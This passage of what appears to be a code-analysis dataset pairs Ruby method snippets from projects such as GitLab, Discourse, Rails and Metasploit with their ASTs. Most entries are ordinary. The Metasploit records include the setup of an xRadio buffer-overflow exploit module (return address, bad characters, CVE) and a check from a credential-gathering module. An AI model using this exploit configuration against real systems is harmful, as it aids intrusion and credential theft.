e\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"text\"]},\"rindex\",{\"type\":\"str\",\"children\":[\"<function_calls>\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"text_index\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"text_index\"]},\">\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"text\"]},\"[]\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[0]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"text_index\"]},\"-\",{\"type\":\"int\",\"children\":[1]}]}]}]},\"rstrip\"]}]},null]}]},null]}]},{\"type\":\"send\",\"children\":[null,\"add_to_function_buffer\",{\"type\":\"lvar\",\"children\":[\"text\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@in_tool\"]},\"!\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"maybe_has_tool?\",{\"type\":\"ivar\",\"children\":[\"@buffer\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"split_index\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"text\"]},\"rindex\",{\"type\":\"str\",\"children\":[\"<\"]}]},\"to_i\"]},\"-\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"split_index\"]},\">=\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@function_buffer\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"text\"]},\"[]\",{\"type\":\"irange\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"split_index\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"int\",\"children\":[-1]}]}]},{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"text\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"text\"]},\"[]\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[0]},{\"type\":\"lvar\",\"children\":[\"split_index\"]}]}]},{\"type\":\"str\",\"children\":[\"\"]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_to_function_buffer\",{\"type\":\"lvar\",\"children\":[\"text\"]}]},{\"type\":\"lvasgn\",\"children\":[\"text\",{\"type\":\"str\",\"children\":[\"\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@function_buffer\"]},\"length\"]},\">\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"<<\",{\"type\":\"ivar\",\"children\":[\"@function_buffer\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@function_buffer\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"\"]},\"+@\"]}]}]},null]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"text\"]},\"length\"]},\">\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"text\"]}]},null]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"text\"]},\"include?\",{\"type\":\"str\",\"children\":[\"</function_calls>\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@should_cancel\",{\"type\":\"true\",\"children\":[]}]},null]}]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@should_notify_partial_tool\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@should_notify_partial_tool\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@partial_tools\"]},\"last\"]}]}]},null]},{\"type\":\"lvar\",\"children\":[\"result\"]}]}]}","id":"201589c5-e50b-4166-a88b-0a1842377aad"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/bitbucket_server/representation/base.rb","start_line":12,"raw_source":"def self.decorate(entries)\n        entries.map { |entry| new(entry) }\n      end","complexity_score":3.1,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"decorate\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"entries\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"entries\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"entry\"]}]},{\"type\":\"send\",\"children\":[null,\"new\",{\"type\":\"lvar\",\"children\":[\"entry\"]}]}]}]}","id":"485c6f02-c2b2-41dc-a9da-94286d2c56de"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/helpers/application_helper.rb","start_line":264,"raw_source":"def rtl?\n    Rtl::LOCALES.include? I18n.locale.to_s\n  end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"rtl?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rtl\"]},\"LOCALES\"]},\"include?\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"locale\"]},\"to_s\"]}]}]}","id":"906feee1-9eef-4745-8fe1-8454637be682"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/windows/gather/credentials/bulletproof_ftp.rb","start_line":152,"raw_source":"def check_installation\n    bullet_reg = 'HKCU\\\\SOFTWARE\\\\BulletProof Software'\n    bullet_reg_ver = registry_enumkeys(bullet_reg.to_s)\n\n    return false if bullet_reg_ver.nil?\n\n    bullet_reg_ver.each do |key|\n      if key =~ /BulletProof FTP Client/\n        return true\n      end\n    end\n    return false\n  end","complexity_score":9.3,"ast_json":"{\"type\":\"def\",\"children\":[\"check_installation\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"bullet_reg\",{\"type\":\"str\",\"children\":[\"HKCU\\\\SOFTWARE\\\\BulletProof Software\"]}]},{\"type\":\"lvasgn\",\"children\":[\"bullet_reg_ver\",{\"type\":\"send\",\"children\":[null,\"registry_enumkeys\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bullet_reg\"]},\"to_s\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bullet_reg_ver\"]},\"nil?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bullet_reg_ver\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"BulletProof FTP Client\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]},null]}]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]}]}","id":"00b7ead6-71a1-44ad-b00a-d6213fd73fef"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/sql/pattern.rb","start_line":12,"raw_source":"def fuzzy_search(query, columns, use_minimum_char_limit: true, exact_matches_first: false)\n          matches = columns.map do |col|\n            fuzzy_arel_match(col, query, use_minimum_char_limit: use_minimum_char_limit)\n          end.compact.reduce(:or)\n\n          matches = where(matches)\n\n          return matches unless exact_matches_first\n\n          matches.order(exact_matches_first_sql(query, columns))\n        end","complexity_score":12.7,"ast_json":"{\"type\":\"def\",\"children\":[\"fuzzy_search\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"query\"]},{\"type\":\"arg\",\"children\":[\"columns\"]},{\"type\":\"kwoptarg\",\"children\":[\"use_minimum_char_limit\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"exact_matches_first\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"matches\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"columns\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"col\"]}]},{\"type\":\"send\",\"children\":[null,\"fuzzy_arel_match\",{\"type\":\"lvar\",\"children\":[\"col\"]},{\"type\":\"lvar\",\"children\":[\"query\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"use_minimum_char_limit\"]},{\"type\":\"lvar\",\"children\":[\"use_minimum_char_limit\"]}]}]}]}]},\"compact\"]},\"reduce\",{\"type\":\"sym\",\"children\":[\"or\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"matches\",{\"type\":\"send\",\"children\":[null,\"where\",{\"type\":\"lvar\",\"children\":[\"matches\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exact_matches_first\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"matches\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"matches\"]},\"order\",{\"type\":\"send\",\"children\":[null,\"exact_matches_first_sql\",{\"type\":\"lvar\",\"children\":[\"query\"]},{\"type\":\"lvar\",\"children\":[\"columns\"]}]}]}]}]}","id":"4eaec6ba-4124-41a1-9495-a5d194765aaf"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/lib/fluent/plugin_helper/http_server/server.rb","start_line":79,"raw_source":"def stop\n          @logger.debug('closing HTTP server')\n          @server_task_queue.push(:stop)\n        end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"stop\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@logger\"]},\"debug\",{\"type\":\"str\",\"children\":[\"closing HTTP server\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@server_task_queue\"]},\"push\",{\"type\":\"sym\",\"children\":[\"stop\"]}]}]}]}","id":"902a2efb-c375-4b4e-9fe4-001524c24749"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-calendar/app/models/discourse_post_event/event.rb","start_line":376,"raw_source":"def missing_users(excluded_ids = self.invitees.select(:user_id))\n      users = User.real.activated.not_silenced.not_suspended.not_staged\n\n      if self.raw_invitees.present?\n        user_ids =\n          users\n            .joins(:groups)\n            .where(\"groups.name\" => self.raw_invitees)\n            .where.not(id: excluded_ids)\n            .select(:id)\n        User.where(id: user_ids)\n      elsif self.private?\n        User.none\n      else\n        users.where.not(id: excluded_ids)\n      end\n    end","complexity_score":32.8,"ast_json":"{\"type\":\"def\",\"children\":[\"missing_users\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"excluded_ids\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"invitees\"]},\"select\",{\"type\":\"sym\",\"children\":[\"user_id\"]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"users\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"real\"]},\"activated\"]},\"not_silenced\"]},\"not_suspended\"]},\"not_staged\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"raw_invitees\"]},\"present?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"user_ids\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"users\"]},\"joins\",{\"type\":\"sym\",\"children\":[\"groups\"]}]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"groups.name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"raw_invitees\"]}]}]}]},\"where\"]},\"not\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"lvar\",\"children\":[\"excluded_ids\"]}]}]}]},\"select\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"lvar\",\"children\":[\"user_ids\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"private?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"none\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"users\"]},\"where\"]},\"not\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"lvar\",\"children\":[\"excluded_ids\"]}]}]}]}]}]}]}]}","id":"da64c408-6776-4b30-8628-d603fa7ef543"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/nested_attributes_test.rb","start_line":647,"raw_source":"def test_should_raise_an_UnknownAttributeError_for_non_existing_nested_attributes_for_has_many\n    exception = assert_raise ActiveModel::UnknownAttributeError do\n      @pirate.parrots_attributes = [{ peg_leg: true }]\n    end\n    assert_match \"unknown attribute 'peg_leg' for Parrot.\", exception.message\n  end","complexity_score":6.3,"ast_json":"{\"type\":\"def\",\"children\":[\"test_should_raise_an_UnknownAttributeError_for_non_existing_nested_attributes_for_has_many\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"exception\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveModel\"]},\"UnknownAttributeError\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@pirate\"]},\"parrots_attributes=\",{\"type\":\"array\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"peg_leg\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"str\",\"children\":[\"unknown attribute 'peg_leg' for Parrot.\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exception\"]},\"message\"]}]}]}]}","id":"8e153c66-8a7f-46a4-aa10-fa0d63188755"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/projects/discussions_controller.rb","start_line":15,"raw_source":"def resolve\n    Discussions::ResolveService.new(project, current_user, one_or_more_discussions: discussion).execute\n\n    render_discussion\n  end","complexity_score":7.4,"ast_json":"{\"type\":\"def\",\"children\":[\"resolve\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Discussions\"]},\"ResolveService\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"project\"]},{\"type\":\"send\",\"children\":[null,\"current_user\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"one_or_more_discussions\"]},{\"type\":\"send\",\"children\":[null,\"discussion\"]}]}]}]},\"execute\"]},{\"type\":\"send\",\"children\":[null,\"render_discussion\"]}]}]}","id":"ab1f053b-4e02-4411-a0aa-a8ea32a12b42"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/projects/terraform_controller.rb","start_line":13,"raw_source":"def authorize_can_read_terraform_state!\n    access_denied! unless can?(current_user, :read_terraform_state, project)\n  end","complexity_score":5.5,"ast_json":"{\"type\":\"def\",\"children\":[\"authorize_can_read_terraform_state!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"can?\",{\"type\":\"send\",\"children\":[null,\"current_user\"]},{\"type\":\"sym\",\"children\":[\"read_terraform_state\"]},{\"type\":\"send\",\"children\":[null,\"project\"]}]},null,{\"type\":\"send\",\"children\":[null,\"access_denied!\"]}]}]}","id":"a3926bf9-fcb3-4866-bcf0-1cf64d9c3ed2"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/boards/app/controllers/boards/boards_controller.rb","start_line":28,"raw_source":"def create\n      service_result = service_call\n\n      @board_grid = service_result.result\n\n      if service_result.success?\n        flash[:notice] = I18n.t(:notice_successful_create)\n        redirect_to project_work_package_board_path(@project, @board_grid)\n      else\n        render action: :new, status: :unprocessable_entity\n      end\n    end","complexity_score":13.3,"ast_json":"{\"type\":\"def\",\"children\":[\"create\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"service_result\",{\"type\":\"send\",\"children\":[null,\"service_call\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@board_grid\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"service_result\"]},\"result\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"service_result\"]},\"success?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"flash\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"notice\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"sym\",\"children\":[\"notice_successful_create\"]}]}]},{\"type\":\"send\",\"children\":[null,\"redirect_to\",{\"type\":\"send\",\"children\":[null,\"project_work_package_board_path\",{\"type\":\"ivar\",\"children\":[\"@project\"]},{\"type\":\"ivar\",\"children\":[\"@board_grid\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"action\"]},{\"type\":\"sym\",\"children\":[\"new\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"sym\",\"children\":[\"unprocessable_entity\"]}]}]}]}]}]}]}","id":"1e3c9e28-446f-4b14-9614-6eb042106f18"}
{"repo_name":"identity_cache","file_path":"./repos/identity_cache/test/normalized_belongs_to_test.rb","start_line":26,"raw_source":"def test_fetching_association_should_delegate_to_normal_association_fetcher_if_normal_association_is_loaded\n    # Warm the ActiveRecord association\n    @record.item\n\n    Item.expects(:fetch_by_id).never\n    assert_equal(@parent_record, @record.fetch_item)\n  end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_fetching_association_should_delegate_to_normal_association_fetcher_if_normal_association_is_loaded\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@record\"]},\"item\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Item\"]},\"expects\",{\"type\":\"sym\",\"children\":[\"fetch_by_id\"]}]},\"never\"]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"ivar\",\"children\":[\"@parent_record\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@record\"]},\"fetch_item\"]}]}]}]}","id":"3b268c58-6d89-4062-ac01-3c1cdda0be38"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/tools/dev/generate_mitre_attack_technique_constants.rb","start_line":38,"raw_source":"def read_json\n    JSON.parse(File.read(@input_file))\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"read_json\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"JSON\"]},\"parse\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"read\",{\"type\":\"ivar\",\"children\":[\"@input_file\"]}]}]}]}","id":"11560298-f22f-48a2-a85f-4c4c6679b30b"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/fileformat/xradio_xrl_sehbof.rb","start_line":13,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'xRadio 0.95b Buffer Overflow',\n        'Description' => %q{\n          This module exploits a buffer overflow in xRadio 0.95b.\n          Using the application to import a specially crafted xrl file,\n          a buffer overflow occurs allowing arbitrary code execution.\n        },\n        'License' => MSF_LICENSE,\n        'Author' => [\n          'b0telh0 <me[at]gotgeek.com.br>',\n        ],\n        'References' => [\n          [ 'CVE', '2008-2789' ],\n          [ 'BID', '46290' ],\n          [ 'EDB', '16141' ]\n        ],\n        'DefaultOptions' => {\n          'EXITFUNC' => 'seh',\n          'DisablePayloadHandler' => true\n        },\n        'Platform' => 'win',\n        'Payload' => {\n          'Space' => 1000,\n          'BadChars' => \"\\x00\\x0a\\x0d\",\n          'StackAdjustment' => -3500\n        },\n        'Targets' => [\n          [\n            'Windows Universal',\n            {\n              # pop eax - pop ebx - ret xradio.exe\n              'Ret' => 0x0047E282\n            }\n          ],\n        ],\n        'Privileged' => false,\n        'DisclosureDate' => '2011-02-08',\n        'DefaultTarget' => 0,\n        'Notes' => {\n          'Reliability' => UNKNOWN_RELIABILITY,\n          'Stability' => UNKNOWN_STABILITY,\n          'SideEffects' => UNKNOWN_SIDE_EFFECTS\n        }\n      )\n    )\n\n    register_options(\n      [\n        OptString.new('FILENAME', [true, 'The file name.', 'msf.xrl'])\n      ]\n    )\n  end","complexity_score":6.1,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"xRadio 0.95b Buffer Overflow\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module exploits a buffer overflow in xRadio 0.95b.\\n\"]},{\"type\":\"str\",\"children\":[\"          Using the application to import a specially crafted xrl file,\\n\"]},{\"type\":\"str\",\"children\":[\"          a buffer overflow occurs allowing arbitrary code execution.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"b0telh0 <me[at]gotgeek.com.br>\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2008-2789\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"BID\"]},{\"type\":\"str\",\"children\":[\"46290\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"EDB\"]},{\"type\":\"str\",\"children\":[\"16141\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"EXITFUNC\"]},{\"type\":\"str\",\"children\":[\"seh\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisablePayloadHandler\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"win\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Payload\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Space\"]},{\"type\":\"int\",\"children\":[1000]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"BadChars\"]},{\"type\":\"str\",\"children\":[\"\\u0000\\n\\r\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"StackAdjustment\"]},{\"type\":\"int\",\"children\":[-3500]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Windows Universal\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Ret\"]},{\"type\":\"int\",\"children\":[4711042]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Privileged\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2011-02-08\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_RELIABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_STABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_SIDE_EFFECTS\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"FILENAME\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The file name.\"]},{\"type\":\"str\",\"children\":[\"msf.xrl\"]}]}]}]}]}]}]}","id":"301864fa-bd51-4707-b854-454536fe3dd1"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/packages/conan/upsert_recipe_revision_service.rb","start_line":15,"raw_source":"def execute!\n        # We use a different validation context\n        # so that the uniqueness model validation on\n        # [revision, package_id]\n        # is skipped.\n        recipe_revision.validate!(:upsert)\n\n        ServiceResponse.success(payload: { recipe_revision_id: upsert_recipe_revision[0]['id'] })\n      